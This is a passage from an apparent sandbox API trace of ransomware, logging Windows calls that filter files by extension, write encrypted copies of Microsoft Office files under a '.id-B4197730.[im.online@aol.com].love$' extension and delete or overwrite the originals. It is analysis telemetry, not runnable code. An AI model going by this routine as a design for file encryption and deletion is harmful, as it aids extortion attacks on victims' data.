lpString2=".xml") returned -1 [0115.472] lstrlenW (lpString=".7z") returned 3 [0115.472] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0115.472] lstrlenW (lpString=".dbf") returned 4 [0115.472] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0115.472] lstrlenW (lpString=".1cd") returned 4 [0115.472] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0115.473] lstrlenW (lpString=".jpg") returned 4 [0115.473] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.473] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0115.473] lstrlenW (lpString="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 53 [0115.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0115.474] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=1261) returned 1 [0115.474] CloseHandle (hObject=0x380) returned 1 [0115.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 0x220 [0115.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0115.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0115.474] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0115.475] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0115.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0115.475] GetLastError () returned 0x0 [0115.475] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0116.588] WriteFile (in: hFile=0x37c, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0116.589] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0116.591] WriteFile (in: hFile=0x37c, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x13e, lpOverlapped=0x0) returned 1 [0116.592] SetEndOfFile (hFile=0x37c) returned 1 [0116.592] CloseHandle (hObject=0x37c) returned 1 [0116.596] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.596] SetEndOfFile (hFile=0x380) returned 1 [0116.597] CloseHandle (hObject=0x380) returned 1 [0116.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0116.598] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 1 [0116.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0116.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0116.599] lstrlenW (lpString=".doc") returned 4 [0116.599] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.599] lstrlenW (lpString=".docx") returned 5 [0116.599] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0116.599] lstrlenW (lpString=".pdf") returned 4 [0116.599] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.599] lstrlenW (lpString=".xls") returned 4 [0116.599] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.599] lstrlenW (lpString=".xlsx") returned 5 [0116.599] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0116.599] lstrlenW (lpString=".ppt") returned 4 [0116.599] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0116.599] lstrlenW (lpString=".zip") returned 4 [0116.599] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.599] lstrlenW (lpString=".rar") returned 4 [0116.599] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.599] lstrlenW (lpString=".bz2") returned 4 [0116.599] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.599] lstrlenW (lpString=".7z") returned 3 [0116.599] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0116.599] lstrlenW (lpString=".dbf") returned 4 [0116.599] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0116.600] lstrlenW (lpString=".1cd") returned 4 [0116.600] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0116.600] lstrlenW (lpString=".jpg") returned 4 [0116.600] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0116.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0116.600] lstrlenW (lpString=".doc") returned 4 [0116.600] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.600] lstrlenW (lpString=".docx") returned 5 [0116.600] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0116.600] lstrlenW (lpString=".pdf") returned 4 [0116.600] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.600] lstrlenW (lpString=".xls") returned 4 [0116.600] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.600] lstrlenW (lpString=".xlsx") returned 5 [0116.600] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0116.600] lstrlenW (lpString=".ppt") returned 4 [0116.600] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0116.600] lstrlenW (lpString=".zip") returned 4 [0116.600] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.600] lstrlenW (lpString=".rar") returned 4 [0116.600] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.600] lstrlenW (lpString=".bz2") returned 4 [0116.601] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.601] lstrlenW (lpString=".7z") returned 3 [0116.601] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0116.601] lstrlenW (lpString=".dbf") returned 4 [0116.601] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0116.601] lstrlenW (lpString=".1cd") returned 4 [0116.601] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0116.601] lstrlenW (lpString=".jpg") returned 4 [0116.601] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.615] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0116.615] lstrlenW (lpString="AppXManifest.common.xml") returned 23 [0116.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0116.616] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=2173046) returned 1 [0116.616] CloseHandle (hObject=0x380) returned 1 [0116.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml")) returned 0x220 [0116.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0116.616] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[im.online@aol.com].love$")) returned 1 [0116.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0116.618] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fc64 | out: lpNewFilePointer=0x0) returned 1 [0116.618] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fc24 | out: lpNewFilePointer=0x0) returned 1 [0116.618] ReadFile (in: hFile=0x380, lpBuffer=0x3a05058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f9fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a05058*, lpNumberOfBytesRead=0x2f9fc30*=0x40000, lpOverlapped=0x0) returned 1 [0116.624] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fc24 | out: lpNewFilePointer=0x0) returned 1 [0116.624] ReadFile (in: hFile=0x380, lpBuffer=0x3a45058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f9fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a45058*, lpNumberOfBytesRead=0x2f9fc30*=0x40000, lpOverlapped=0x0) returned 1 [0116.632] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2f9fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0116.632] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fc24 | out: lpNewFilePointer=0x0) returned 1 [0116.632] ReadFile (in: hFile=0x380, lpBuffer=0x3a85058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f9fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a85058*, lpNumberOfBytesRead=0x2f9fc30*=0x40000, lpOverlapped=0x0) returned 1 [0116.951] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.951] WriteFile (in: hFile=0x380, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x2f9fca8, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fca8*=0xc011a, lpOverlapped=0x0) returned 1 [0117.281] SetEndOfFile (hFile=0x380) returned 1 [0117.281] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f33ea8 [0117.779] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fc74 | out: lpNewFilePointer=0x0) returned 1 [0117.779] WriteFile (in: hFile=0x380, lpBuffer=0x3f33ea8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f9fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f33ea8*, lpNumberOfBytesWritten=0x2f9fc80*=0x40000, lpOverlapped=0x0) returned 1 [0117.895] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fc74 | out: lpNewFilePointer=0x0) returned 1 [0117.895] WriteFile (in: hFile=0x380, lpBuffer=0x3f33ea8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f9fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f33ea8*, lpNumberOfBytesWritten=0x2f9fc80*=0x40000, lpOverlapped=0x0) returned 1 [0117.942] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fc74 | out: lpNewFilePointer=0x0) returned 1 [0117.942] WriteFile (in: hFile=0x380, lpBuffer=0x3f33ea8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f9fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f33ea8*, lpNumberOfBytesWritten=0x2f9fc80*=0x40000, lpOverlapped=0x0) returned 1 [0117.944] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0117.946] CloseHandle (hObject=0x380) returned 1 [0120.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0120.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0120.290] lstrlenW (lpString=".doc") returned 4 [0120.291] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0120.291] lstrlenW (lpString=".docx") returned 5 [0120.291] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0120.291] lstrlenW (lpString=".pdf") returned 4 [0120.291] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0120.291] lstrlenW (lpString=".xls") returned 4 [0120.291] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0120.291] lstrlenW (lpString=".xlsx") returned 5 [0120.291] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0120.291] lstrlenW (lpString=".ppt") returned 4 [0120.291] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0120.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0120.291] lstrlenW (lpString=".zip") returned 4 [0120.291] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0120.291] lstrlenW (lpString=".rar") returned 4 [0120.291] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0120.291] lstrlenW (lpString=".bz2") returned 4 [0120.291] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0120.291] lstrlenW (lpString=".7z") returned 3 [0120.291] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0120.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0120.291] lstrlenW (lpString=".dbf") returned 4 [0120.291] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0120.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0120.291] lstrlenW (lpString=".1cd") returned 4 [0120.291] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0120.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0120.291] lstrlenW (lpString=".jpg") returned 4 [0120.291] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0120.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0120.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0120.292] lstrlenW (lpString=".doc") returned 4 [0120.292] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0120.292] lstrlenW (lpString=".docx") returned 5 [0120.292] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0120.292] lstrlenW (lpString=".pdf") returned 4 [0120.292] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0120.292] lstrlenW (lpString=".xls") returned 4 [0120.292] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0120.292] lstrlenW (lpString=".xlsx") returned 5 [0120.292] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0120.292] lstrlenW (lpString=".ppt") returned 4 [0120.292] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0120.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0120.292] lstrlenW (lpString=".zip") returned 4 [0120.292] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0120.292] lstrlenW (lpString=".rar") returned 4 [0120.292] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0120.292] lstrlenW (lpString=".bz2") returned 4 [0120.292] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0120.292] lstrlenW (lpString=".7z") returned 3 [0120.292] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0120.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0120.292] lstrlenW (lpString=".dbf") returned 4 [0120.292] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0120.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0120.292] lstrlenW (lpString=".1cd") returned 4 [0120.292] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0120.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0120.292] lstrlenW (lpString=".jpg") returned 4 [0120.293] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0120.293] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0120.293] lstrlenW (lpString="AN01044_.WMF") returned 12 [0120.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0120.294] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=1596) returned 1 [0120.294] CloseHandle (hObject=0x380) returned 1 [0120.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 0x220 [0120.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0120.294] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.294] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0120.295] GetLastError () returned 0x0 [0120.295] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x63c, lpOverlapped=0x0) returned 1 [0120.298] WriteFile (in: hFile=0x354, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x640, lpOverlapped=0x0) returned 1 [0120.299] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0120.299] WriteFile (in: hFile=0x354, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0120.299] SetEndOfFile (hFile=0x354) returned 1 [0120.299] CloseHandle (hObject=0x354) returned 1 [0120.301] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.301] SetEndOfFile (hFile=0x380) returned 1 [0120.302] CloseHandle (hObject=0x380) returned 1 [0120.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0120.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0120.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0120.303] lstrlenW (lpString=".doc") returned 4 [0120.303] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.303] lstrlenW (lpString=".docx") returned 5 [0120.303] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.303] lstrlenW (lpString=".pdf") returned 4 [0120.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.303] lstrlenW (lpString=".xls") returned 4 [0120.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.303] lstrlenW (lpString=".xlsx") returned 5 [0120.303] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.303] lstrlenW (lpString=".ppt") returned 4 [0120.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0120.303] lstrlenW (lpString=".zip") returned 4 [0120.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.303] lstrlenW (lpString=".rar") returned 4 [0120.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.303] lstrlenW (lpString=".bz2") returned 4 [0120.303] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.303] lstrlenW (lpString=".7z") returned 3 [0120.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0120.303] lstrlenW (lpString=".dbf") returned 4 [0120.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0120.303] lstrlenW (lpString=".1cd") returned 4 [0120.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.303] lstrlenW 